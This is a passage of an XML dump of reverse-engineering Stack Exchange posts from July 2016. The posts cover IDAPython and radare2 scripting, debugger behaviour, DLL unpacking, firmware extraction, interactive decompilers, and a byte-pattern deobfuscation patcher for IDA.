simple&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jz  loc_target2&#xA;jmp loc_target1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;More complex patterns like the one of the example might contain simpler ones. As a consequence, you would start with the simple patterns and then move from simpler to more complicated ones, increasing the readablility of the code (and making Ida more happy) with each de-obfuscation step.&lt;/p&gt;&#xA;" OwnerUserId="12800" LastActivityDate="2016-07-18T09:47:44.143" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="13074" PostTypeId="1" AcceptedAnswerId="13085" CreationDate="2016-07-18T12:37:25.893" Score="2" ViewCount="683" Body="&lt;p&gt;I have been trying to reverse engineer .so file in android application.I used objdump from android ndk to look at the assembly of the file.I do not have a problem with assembly but analyzing the file statically is just so tedious.I am looking for a method to actually run the application on my phone and set break points and see how the registers and the stack are updated.&lt;/p&gt;&#xA;" OwnerUserId="15494" LastActivityDate="2018-07-30T13:34:52.570" Title="Debug android shared library interactivly" Tags="|android|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13075" PostTypeId="1" AcceptedAnswerId="13083" CreationDate="2016-07-18T13:55:18.867" Score="1" ViewCount="3931" Body="&lt;p&gt;Function &quot;Bob&quot; calls function &quot;Janice&quot;. Currently, I'm at an address in function &quot;Janice&quot; and can easily do idc.GetFunctionName(ea) to get the name Janice. However, I also want to get the caller function Bob's name. How would I go about doing this efficiently considering I'm currently within function Janice? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="16666" LastActivityDate="2016-07-19T09:16:54.667" Title="Finding function name of caller function" Tags="|ida|idapython|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13076" PostTypeId="1" AcceptedAnswerId="13144" CreationDate="2016-07-18T16:21:39.327" Score="0" ViewCount="438" Body="&lt;p&gt;I used a script python from radare2-bindings to write a code analysing a binary file, i extracted the name , the start address and the size of each function , but i can't dump the hexa of each function , i am asking if there is a methode or python script in radare2 or another tool (capstone , miasm , angr ...)  to solve this problem .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the script is : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    import sys&#xA;    import sqlite3 as lite&#xA;    try:&#xA;        import os, signal&#xA;        from r_core import *&#xA;    except:&#xA;        from r2.r_core import *&#xA;&#xA;    rc = RCore()&#xA;    rc.file_open(&quot;/home/younes/Bureau/a.out&quot;, 0, 0)&#xA;    rc.bin_load(&quot;&quot;, 0)&#xA;&#xA;    rc.anal_all()&#xA;    funcs = rc.anal.get_fcns()&#xA;    for f in funcs:&#xA;        blocks = f.get_bbs()&#xA;        print(&quot;+&quot; + (72 * &quot;-&quot;))&#xA;        print(&quot;| FUNCTION: %s @ 0x%x&quot; % (f.name, f.addr))&#xA;        print(&quot;| (%d blocks)&quot; % (len (blocks)))&#xA;        print(&quot;+&quot; + (72 * &quot;-&quot;))&#xA;        funcSize=0&#xA;        for b in blocks:&#xA;            end_byte = b.addr + b.size&#xA;            cur_byte = b.addr&#xA;            funcSize+=b.size&#xA;&#xA;        print(&quot;   | f.size:      0x%x&quot; %(funcSize))&#xA;&#xA;    os.kill (os.getpid (), signal.SIGTERM) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16778" LastEditorUserId="16778" LastEditDate="2016-07-18T19:20:35.380" LastActivityDate="2016-07-26T16:45:59.780" Title="How to DUMP the full hexa of each function extracted by analysis of binary file?" Tags="|python|radare2|capstone|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13077" PostTypeId="1" CreationDate="2016-07-18T16:59:30.517" Score="2" ViewCount="74" Body="&lt;p&gt;&lt;strong&gt;PyCommand&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   import immlib&#xA;    def main(args):&#xA;        imm = immlib.Debugger()&#xA;        imm.setBreakpoint(0x411077)&#xA;        imm.setReg(&quot;EAX&quot;,0x0)&#xA;        imm.log(&quot;EAX: {}&quot;.format(imm.getRegs()['EAX']))&#xA;        imm.run()&#xA;&#xA;    return &quot;OK&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Log&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;EAX: 0&#xA;Breakpoint at 0x411077&#xA;OK&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The log write happens before &lt;code&gt;setBreakpoint()&lt;/code&gt; according to the log.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the problem?&lt;/p&gt;&#xA;" OwnerUserId="16779" LastEditorUserId="53" LastEditDate="2016-07-19T08:00:33.007" LastActivityDate="2016-07-19T08:00:33.007" Title="Immnunity Debugger Python API Incorrect code execution order" Tags="|python|immunity-debugger|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13078" PostTypeId="2" ParentId="13077" CreationDate="2016-07-18T17:58:59.083" Score="1" Body="&lt;p&gt;It looks like &quot;Breakpoint at&quot; means &quot;the breakpoint was hit&quot;, not &quot;breakpoint was set&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The breakpoint can be only triggered &lt;em&gt;once the program is running&lt;/em&gt;. Since you call &lt;code&gt;log()&lt;/code&gt; before &lt;code&gt;run()&lt;/code&gt;, the log message is printed first. If you want to log &lt;em&gt;when the breakpoint is hit&lt;/em&gt;, you need to use another approach (not familiar with ImmDbg API so can't recommend anything specific).&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2016-07-18T17:58:59.083" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13079" PostTypeId="2" ParentId="13075" CreationDate="2016-07-18T19:55:31.940" Score="2" Body="&lt;p&gt;janice could have been called by bob or it could be a mob of other zillion prospective callers &lt;/p&gt;&#xA;&#xA;&lt;p&gt;you have to check each xrefto a sample showing the first xrefto below &#xA;note you may need to demangle in some cases &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;auto ip,fname,fxref,fxrefname,fxrefdname;&#xA;ip = ScreenEA();&#xA;fname = GetFunctionName(ip);&#xA;fxref = RfirstB0(ip);&#xA;fxrefname = GetFunctionName(fxref);&#xA;Message(&quot;ScreenEa is in function %s and it is called first by  %s\n&quot; , fname , fxrefname);&#xA;fxrefdname = Demangle(fxrefname,GetLongPrm(INF_LONG_DN));&#xA;Message(&quot;ScreenEa is in function %s and it is called first by  %s\n&quot; , fname , fxrefdname);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;result as screenshot (see the actual code xref and the message window)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/H4s3s.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/H4s3s.png&quot; alt=&quot;ida_par_func&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2016-07-18T19:55:31.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13080" PostTypeId="2" ParentId="13068" CreationDate="2016-07-18T21:46:05.580" Score="0" Body="&lt;pre&gt;&lt;code&gt;import struct&#xA;&#xA;def readWord(array, offset):&#xA;    return struct.unpack_from(&quot;&amp;lt;i&quot;, bytearray(array), offset)[0]&#xA;&#xA;def writeWord(array, offset, word):&#xA;    array[offset:offset+4] = bytearray(struct.pack(&quot;&amp;lt;i&quot;, word))&#xA;&#xA;class Obfu(object):&#xA;    # Copyright 2016 Orwellophile LLC. MIT License.&#xA;    def __init__(self, start, end):&#xA;        self.start = start&#xA;        self.end = end&#xA;        self.eip = start&#xA;        self.patterns = []&#xA;&#xA;    def append(self, searchText, replaceText, search, replace, replaceFunction = None):&#xA;        self.patterns.append([search, replace, replaceFunction])&#xA;&#xA;    def replace_pattern(self, search, replace, replaceFunction, ea):&#xA;        searchSize = len(search)&#xA;        replaceSize = len(replace)&#xA;        # buf = idc.GetManyBytes(ea, ItemSize(ea))&#xA;        failed = 0&#xA;        for i in range(searchSize):&#xA;            if search[i] != -1 and idaapi.get_byte(ea+i) != search[i]:&#xA;                failed = 1&#xA;                break&#xA;        if not failed:&#xA;            if replaceFunction != None:&#xA;                original = []&#xA;                for i in range(max(searchSize,replaceSize)):&#xA;                    original.append(idaapi.get_byte(ea+i))&#xA;                replace = replaceFunction(search, replace, original, ea)&#xA;                replaceSize = len(replace)&#xA;            for i in range(replaceSize):&#xA;                if replace[i] != -1:&#xA;                    idaapi.patch_byte(ea+i, replace[i])&#xA;            print &quot;patched %i bytes at 0x%x&quot; % (replaceSize, ea)&#xA;            MakeCode(ea) # else it turns it into data&#xA;        return not failed&#xA;&#xA;    def _patch(self, ea):&#xA;        for pattern in self.patterns:&#xA;            if self.replace_pattern(pattern[0], pattern[1], pattern[2], ea):&#xA;                return 1&#xA;        return 0&#xA;&#xA;    def get_next_instruction(self):&#xA;        while self.eip &amp;lt;= self.end:&#xA;            yield [hex(self.eip), self._patch(self.eip)]&#xA;            self.eip += ItemSize(self.eip)&#xA;&#xA;# Usage&#xA;&#xA;obfu = Obfu(SegStart(ScreenEA()), SegEnd(ScreenEA()))&#xA;&#xA;# Patch factory&#xA;def generate_patch1(jmpTargetOffset, oldRip, newRip):&#xA;    def patch(search, replace, original, ea):&#xA;        result = [0xcc]*len(original) # preallocate result with 0xcccccc...&#xA;&#xA;        jmpTarget = readWord(original, jmpTargetOffset)&#xA;        adjustTarget = oldRip - newRip&#xA;        jmpTarget = jmpTarget + adjustTarget&#xA;        result[0] = 0xE9 # JMP rel32off&#xA;        writeWord(result, 1, jmpTarget)&#xA;        return result&#xA;    return patch&#xA;&#xA;# Uses Patch Factory generated callback&#xA;obfu.append(&quot;&quot;&quot;&#xA;        0:  48 8d 64 24 f8          lea    rsp,[rsp-0x8]&#xA;        5:  48 89 2c 24             mov    QWORD PTR [rsp],rbp&#xA;        9:  48 8d 2d 00 00 00 00    lea    rbp,[rip+0x0]        # 0x10&#xA;        10: 48 87 2c 24             xchg   QWORD PTR [rsp],rbp&#xA;        14: 48 8d 64 24 08          lea    rsp,[rsp+0x8]&#xA;        19: ff 64 24 f8             jmp    QWORD PTR [rsp-0x8]&#xA;        &quot;&quot;&quot;, &quot;test of replacement function (patch callback)&quot;,&#xA;        [0x48, 0x8D, 0x64, 0x24, 0xF8, 0x48, 0x89, 0x2C, 0x24, 0x48, 0x8D, 0x2D, -1, -1, -1, -1, 0x48, 0x87, 0x2C, 0x24, 0x48, 0x8D, 0x64, 0x24, 0x08, 0xFF, 0x64, 0x24, 0xF8], &#xA;        # unused:&#xA;        [0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0xE9, -1, -1, -1, -1, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90],&#xA;        generate_patch1(0x0c, 0x10, 0x05)&#xA;        )&#xA;&#xA;# Byte patch&#xA;obfu.append(&quot;&quot;&quot;&#xA;        0:  48 89 6c 24 f8          mov    QWORD PTR [rsp-0x8],rbp&#xA;        5:  48 8d 64 24 f8          lea    rsp,[rsp-0x8]&#xA;        a:  48 8d 2d 00 00 00 00    lea    rbp,[rip+0x0]        # 0x11&#xA;        11: 48 87 2c 24             xchg   QWORD PTR [rsp],rbp&#xA;        15: 48 8d 64 24 08          lea    rsp,[rsp+0x8]&#xA;        1a: ff 64 24 f8             jmp    QWORD PTR [rsp-0x8]&#xA;        &quot;&quot;&quot;, &#xA;        &quot;jmp ${ readWord(0x0d) + (oldRip = 0x11) - (newRip = 0x05) }&quot;,&#xA;        [0x48, 0x89, 0x6c, 0x24, 0xf8, 0x48, 0x8d, 0x64, 0x24, 0xf8, 0x48, 0x8d, 0x2d, -1, -1, -1, -1, 0x48, 0x87, 0x2c, 0x24, 0x48, 0x8d, 0x64, 0x24, 0x08, 0xff, 0x64, 0x24, 0xf8],&#xA;        [0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0xe9, -1, -1, -1, -1, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90]&#xA;        )&#xA;&#xA;# This patch disables one of the longer patches, keep at end of list&#xA;obfu.append(  &quot;lea    rsp,[rsp-0x8]&quot;,   # First two arguments aren't used&#xA;        &quot;&quot;, # &quot;sub    rsp,0x8; nop&quot;,    # They're just there to remind you&#xA;        [0x48, 0x8d, 0x64, 0x24, 0xf8], &#xA;        [0x48, 0x83, 0xec, 0x08, 0x90])&#xA;&#xA;# Test single replacement with: &#xA;# obfu._patch(address)&#xA;#&#xA;# or uncomment next lines to patch everything:&#xA;#&#xA;# x = obfu.get_next_instruction()&#xA;# count = 0&#xA;# while x.next(): count = count + 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16770" LastEditorUserId="16770" LastEditDate="2016-07-19T02:46:26.110" LastActivityDate="2016-07-19T02:46:26.110" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13083" PostTypeId="2" ParentId="13075" CreationDate="2016-07-19T09:16:54.667" Score="1" Body="&lt;p&gt;Generally speaking this question as it asked is a bit ambiguous.&#xA;The answer can be divided by 2 general parts, getting a caller in the debug session and determining the potential caller list during static analysis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Getting a potential caller list during static analysis&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As @blabb wrote in most cases it is possible and can be done with IDA scripting capabilities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is IDAPython example which will print all references to the callee (which is equivalent to press &lt;kbd&gt;x&lt;/kbd&gt; on the callee name in IDA) assuming that your cursor is within the &quot;Janice&quot; function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    import idautils&#xA;    import idc&#xA;    print &quot;Code references&quot;&#xA;    for ref in idautils.CodeRefsTo(idc.GetFunctionAttr(idc.ScreenEA(), idc.FUNCATTR_START), 1):&#xA;           print ref&#xA;    print &quot;Data references&quot;&#xA;    for ref in idautils.DataRefsTo(idc.GetFunctionAttr(idc.ScreenEA(), idc.FUNCATTR_START)):&#xA;           print ref&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course demangling should be applied to get a more human-readable name as @blabb wrote if needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should be taken in account that this script (exactly as the pressing &lt;kbd&gt;x&lt;/kbd&gt; on the callee) does not solve the indirect call issue, but shows all references to the function which may help to trace the indirect call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Getting a specific caller during a debug session&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a bit trickier and much more architecture dependent (for example in ARM you have LR register with return address which will help you in most cases if you stopped at the start of &quot;Janice&quot; function and it is not contaminated yet), you'll need to&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Stop in the &quot;Janice&quot; function on the breakpoint&lt;/li&gt;&#xA;&lt;li&gt;Determine the placement of return address&lt;/li&gt;&#xA;&lt;li&gt;Conclude the specific caller from it&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The script which will do it is a bit more complex and unfortunately I have no time to debug it for now, &#xA;so I'll just list the IDAPython APIs which will probably help you to solve the problem:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;idaapi.get_func(ea) # get the function object of func_t type&#xA;idaapi.get_frame(pfn) #gets the function frame structure of struc_t type&#xA;idaapi.frame_off_retaddr(pfn) # AFAIK gets the offset of return address of the structure&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2016-07-19T09:16:54.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13084" PostTypeId="1" CreationDate="2016-07-19T13:42:14.157" Score="1" ViewCount="832" Body="&lt;p&gt;How to decompile the CGI &amp;amp; ROM files from the firmware bin? I am able to extract the HTML files using binwalk but the router OS and CGI files are missing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;NOTE: Its not the same as DIR 600&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;ftp://support.dlink.co.in/firmware/DIR/DIR-600M-Hathway/DIR-600M_C1_Hathway.zip&quot; rel=&quot;nofollow&quot;&gt;Heres a link&lt;/a&gt; to the firmware image.&lt;/p&gt;&#xA;" OwnerUserId="16789" LastEditorUserId="16789" LastEditDate="2016-07-20T03:19:02.760" LastActivityDate="2018-10-09T00:00:44.873" Title="Dlink DIR 600M firmware decompile issues" Tags="|firmware|decompile|embedded|" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13085" PostTypeId="2" ParentId="13074" CreationDate="2016-07-19T14:24:35.880" Score="2" Body="&lt;p&gt;If you can afford the paid version of IDA Pro, this is very easy:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;make sure your Windows, Linux or OSX Host is in the same network as your phone via WIFI&lt;/li&gt;&#xA;&lt;li&gt;start &lt;code&gt;android_server&lt;/code&gt; on your phone&lt;/li&gt;&#xA;&lt;li&gt;use any tool to find out the WIFI ip of the phone&lt;/li&gt;&#xA;&lt;li&gt;after starting the application on your phone, load the .so in IDA, start the remote debugger, and connect to the IP you found out in step 3&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2016-07-19T14:24:35.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13086" PostTypeId="1" CreationDate="2016-07-19T15:20:43.073" Score="0" ViewCount="2561" Body="&lt;p&gt;I'm trying to unpack and dump executable from a DLL packed file, I've loaded the DLL to Immunity Debugger using LOADDLL.exe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think I've reached the OEP &lt;code&gt;0x3DADDD&lt;/code&gt; (the memory location of the unpacked code has been allocated with VirtualAlloc), When I'm trying to dump the unpacked code with OllyDumpEx I get the LOADDLL.exe sections and not the unpacked dump file sections (The dumped file is LOADDLL.exe), How can I dump the unpacked code and fix imports?&#xA;&lt;a href=&quot;https://i.stack.imgur.com/k2Rm5.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/k2Rm5.png&quot; alt=&quot;OEP + OllyDumpEx&quot;&gt;&lt;/a&gt;&#xA;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="16472" LastActivityDate="2017-10-13T13:44:20.603" Title="Unpacking and dumping executable from DLL" Tags="|immunity-debugger|dumping|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13087" PostTypeId="2" ParentId="13084" CreationDate="2016-07-19T19:00:24.320" Score="-1" Body="&lt;p&gt;Not read yet but try these two links, may be it'll helps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.devttys0.com/2011/08/extracting-non-standard-squashfs-images/&quot; rel=&quot;nofollow&quot;&gt;http://www.devttys0.com/2011/08/extracting-non-standard-squashfs-images/&lt;/a&gt;&#xA;&lt;a href=&quot;http://www.dailysecurity.net/2014/09/08/dlink-dir655-rev-b-firmware-reverse-engineering-part-1/&quot; rel=&quot;nofollow&quot;&gt;http://www.dailysecurity.net/2014/09/08/dlink-dir655-rev-b-firmware-reverse-engineering-part-1/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16794" LastActivityDate="2016-07-19T19:00:24.320" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13089" PostTypeId="1" CreationDate="2016-07-19T22:38:36.297" Score="4" ViewCount="9919" Body="&lt;p&gt;Are there any decompilers that generate pseudo-code that is interactive? By interactive, I mean you can select a variable and rename it. Or you can select a function call and rename the function. Or you can select an instruction in the disassembly and it will take you to the equivalent line in the pseudo-code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that the HexRays plugin for IDA Pro can do this but are there any alternatives that also have this interactive functionality?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am looking for an interactive decompiler (meaning the output should be C-like pseudocode) - not an interactive disassembler.&lt;/p&gt;&#xA;" OwnerUserId="16797" LastEditorUserId="16797" LastEditDate="2016-07-20T00:46:00.117" LastActivityDate="2016-07-21T07:49:18.067" Title="Are there any interactive decompilers besides HexRays?" Tags="|ida|disassembly|decompilation|decompiler|" AnswerCount="6" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13090" PostTypeId="2" ParentId="13089" CreationDate="2016-07-19T23:05:13.703" Score="1" Body="&lt;p&gt;The plasma project seems to have an interactive decompiler: &lt;a href=&quot;https://github.com/joelpx/plasma&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joelpx/plasma&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the documentation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ plasma -i tests/server.bin&#xA;&amp;gt;&amp;gt; v main # or v 0xFFFFFF (replace 0xFFFFFF with the address of the function)&#xA;# You are now in visual mode. Press P to define the function. Then press TAB to decompile the function into pseudocode.&#xA;# You can hover over a variable using your arrows keys and press R to rename a variable. You can press X to see all xrefs to the variable.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16798" LastEditorUserId="-1" LastEditDate="2016-07-21T07:49:18.067" LastActivityDate="2016-07-21T07:49:18.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13091" PostTypeId="2" ParentId="13089" CreationDate="2016-07-19T23:20:53.253" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/radare/radare2&quot; rel=&quot;nofollow&quot;&gt;Radare2&lt;/a&gt; seems to meet your requirements. It's a command line program, there's no GUI available (but there is a visual mode). It takes a bit of getting used to, I'd recommend the &lt;a href=&quot;https://radare.gitbooks.io/radare2book/content/&quot; rel=&quot;nofollow&quot;&gt;radare2 book&lt;/a&gt; to start out.&lt;/p&gt;&#xA;" OwnerUserId="10046" LastActivityDate="2016-07-19T23:20:53.253" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13092" PostTypeId="2" ParentId="13089" CreationDate="2016-07-19T23:53:13.590" Score="0" Body="&lt;p&gt;Another interesting alternative to IDA is &lt;a href=&quot;https://github.com/wisk/medusa&quot; rel=&quot;nofollow&quot;&gt;Medusa&lt;/a&gt;, its not fully complete, but may server your needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, its sounds as though you are actually after the decompiler side of things, more than just a labeled CFG, in which case you might want to look at &lt;a href=&quot;https://github.com/yegord/snowman&quot; rel=&quot;nofollow&quot;&gt;snowman&lt;/a&gt;. &lt;a href=&quot;http://x64dbg.com/#start&quot; rel=&quot;nofollow&quot;&gt;x64dbg&lt;/a&gt; has a plugin that wraps snowman that might do what you need. You can also try &lt;a href=&quot;http://www.backerstreet.com/rec/recdload.htm&quot; rel=&quot;nofollow&quot;&gt;REC&lt;/a&gt;, though I have never fiddled with it.&lt;/p&gt;&#xA;" OwnerUserId="2825" LastActivityDate="2016-07-19T23:53:13.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13093" PostTypeId="2" ParentId="13089" CreationDate="2016-07-20T01:50:30.030" Score="0" Body="&lt;p&gt;There are some interesting decompilers from this list: &lt;a href=&quot;http://www.capstone-engine.org/showcase.html&quot; rel=&quot;nofollow&quot;&gt;http://www.capstone-engine.org/showcase.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13881" LastActivityDate="2016-07-20T01:50:30.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13094" PostTypeId="2" ParentId="13086" CreationDate="2016-07-20T06:44:42.110" Score="1" Body="&lt;p&gt;I would recommend using the starting address of the lpbuffer from &#xA;WriteProcessMemory function and than setting OllyDump to that address (3rd option below Module) :&#xA;&lt;a href=&quot;https://i.stack.imgur.com/whXQJ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/whXQJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;After that if needed you can fix the IAT table with a tool like:&#xA;&lt;a href=&quot;https://github.com/NtQuery/Scylla&quot; rel=&quot;nofollow noreferrer&quot;&gt;Scylla&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11834" LastActivityDate="2016-07-20T06:44:42.110" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13096" PostTypeId="2" ParentId="13089" CreationDate="2016-07-20T10:20:20.593" Score="9" Body="&lt;p&gt;Short answer: No, there is no other interactive decompiler, at least not for native codes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Long answer: The Hex-Rays decompiler was created with the idea of interactiveness while all the other decompilers for native code that I know (I'm not talking about Java or .NET) were created as batch tools. The closest to a half interactive decompiler is &lt;a href=&quot;https://derevenets.com/&quot;&gt;Snowman&lt;/a&gt;, but is not really interactive (unless selecting which function you want to decompile when using the IDA Plugin is considered interactiveness.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a toy &quot;decompiler&quot; (if the name is appropriate, as it's more a translator to pseudo-C than anything else) in Hopper but is neither interactive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Boomerang, REC, and all the other abandoned decompiler projects that I know, were created either as command line batch tools or had a GUI just to let you select a binary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, as said at the beginning: the only interactive decompiler for native codes is the Hex-Rays one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: I don't know why people is not focusing in the question instead of proposing their favourite tools... A disassembler is not an interactive decompiler.&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2016-07-20T10:20:20.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13097" PostTypeId="2" ParentId="13089" CreationDate="2016-07-20T10:24:03.067" Score="0" Body="&lt;p&gt;I have been there, I have made the quest.&#xA;Use &lt;a href=&quot;https://github.com/vivisect/vivisect&quot; rel=&quot;nofollow&quot;&gt;vivisect&lt;/a&gt; . Contribute to it! I do have binary ninja (signed up for a beta tester) and I have to say: It is nowhere near as functional as vivisect.&#xA;Binja only has a better graph layout and few more extras on the IL side. That's all.&#xA;Vivisect had the goal of becoming IDA replacement. And is damn close. However a lot of work is still to be done.&lt;/p&gt;&#xA;" OwnerUserId="16803" LastActivityDate="2016-07-20T10:24:03.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13100" PostTypeId="1" AcceptedAnswerId="13104" CreationDate="2016-07-20T15:29:55.710" Score="4" ViewCount="11017" Body="&lt;p&gt;I'm trying to write some scripts that do some string searching through the disassembly in IDA. Currently, I loop through all the disassembly, MinEA() to MaxEA() and use idc.FindText() to see if a potential string is in the disassembly. Although this works, its very time consuming. I was wondering if there was a way I could just use an API method to get all the strings in IDAs string window. For example, I was able to get all the imports used in the import window by using idaapi.get_import_module_qty() and idaapi.enum_import_names(i, import_call_back). That's very fast and I can easily just check if something has been imported. Is there something similar that will allow me to get all the strings from the strings window? If not, is there a less time-consuming method of string searching that is possible? Thanks for any input.&lt;/p&gt;&#xA;" OwnerUserId="16666" LastActivityDate="2021-01-20T06:08:37.073" Title="How to get the list of strings within IDA's string window in my script?" Tags="|ida|idapython|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13101" PostTypeId="1" AcceptedAnswerId="13107" CreationDate="2016-07-20T19:47:33.777" Score="1" ViewCount="2821" Body="&lt;p&gt;I'm using IDA Pro 6.9 with some PowerPC disassembly. The code sets up &lt;code&gt;r13&lt;/code&gt; to a value, say 0x10000, then offsets that register to load and store memory in that region. &lt;code&gt;r13&lt;/code&gt; is never modified again in the code, it is only used for loading/storing data by offsetting.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;e_stb     r7, -0x56E2(r13)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm hoping there is a way to tell IDA the value of r13 so that it will automatically generate a reference to the correct memory location so that I get something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;e_stb     r7, -0x56E2(r13) # Named_Location&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As well as the value at that location when I hover with the mouse.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update:&lt;br&gt;&#xA;Igor Skochinsky gave what is the correct answer but didn't fix my specific problem. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The answer seems to have worked anywhere r13 is used in an add instruction, &lt;code&gt;e_add16i r31, r13, -0x2DF2 # unk_4000ADE2&lt;/code&gt; but is not working for direct relative load/store instructions, &lt;code&gt;e_stb r3, -0x2E08(r13)&lt;/code&gt; (no variable name, offset in red).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This might be a bug in IDA.&lt;/p&gt;&#xA;" OwnerUserId="16808" LastEditorUserId="16808" LastEditDate="2016-07-21T13:24:50.333" LastActivityDate="2016-07-21T14:00:42.590" Title="Set register to specific value for use in autoanalysis in IDA Pro 6.9" Tags="|ida|register|pointer|powerpc|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
